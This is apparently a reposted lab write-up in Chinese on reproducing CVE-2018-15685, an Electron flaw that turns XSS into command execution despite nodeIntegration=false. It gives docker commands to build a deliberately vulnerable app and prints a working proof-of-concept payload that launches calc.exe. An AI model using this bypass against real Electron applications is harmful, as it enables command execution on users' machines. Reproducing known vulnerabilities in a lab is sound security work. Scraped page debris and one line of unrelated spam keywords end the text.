<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Electron WebPreferences 遠程命令執行漏洞(CVE-2018-15685)

    Path electron/CVE-2018-15685

    Electron是由Github開發,用HTML,CSS和JavaScript來構建跨平臺桌面應用程序的一個開源庫。 Electron通過將Chromium和Node.js合并到同一個運行時環境中,并將其打包為Mac,Windows和Linux系統下的應用來實現這一目的。

    Electron在設置了nodeIntegration=false的情況下(默認),頁面中的JavaScript無法訪問node.js的內置庫。CVE-2018-15685繞過了該限制,導致在用戶可執行JavaScript的情況下(如訪問第三方頁面或APP存在XSS漏洞時),能夠執行任意命令。

    參考鏈接:

    編譯APP

    執行如下命令編譯一個包含漏洞的應用:

    docker-compose run -e PLATFORM=win64 --rm electron
    

    其中PLATFORM的值是運行該應用的操作系統,可選項有:win64win32maclinux

    編譯完成后,再執行如下命令,啟動web服務:

    docker-compose run --rm -p 8080:80 web
    

    此時,訪問http://your-ip:8080/cve-2018-15685.tar.gz即可下載編譯好的應用。

    復現漏洞

    在本地打開應用:

    點擊提交,輸入框中的內容將會顯示在應用中,顯然這里存在一處XSS漏洞。

    我們提交<img src=1 onerror="require('child_process').exec('calc.exe')">,發現沒有任何反饋,原因就是nodeIntegration=false

    此時,提交POC(Windows):

    <img src=1 onerror="window.open().open('data:text/html,<script>require(\'child_process\').exec(\'calc.exe\')</script>');">
    

    可見,calc.exe已成功彈出:

    本文章首發在 網安wangan.com 網站上。

    上一篇 下一篇
    討論數量: 0
    只看當前版本


    暫無話題~
    亚洲 欧美 自拍 唯美 另类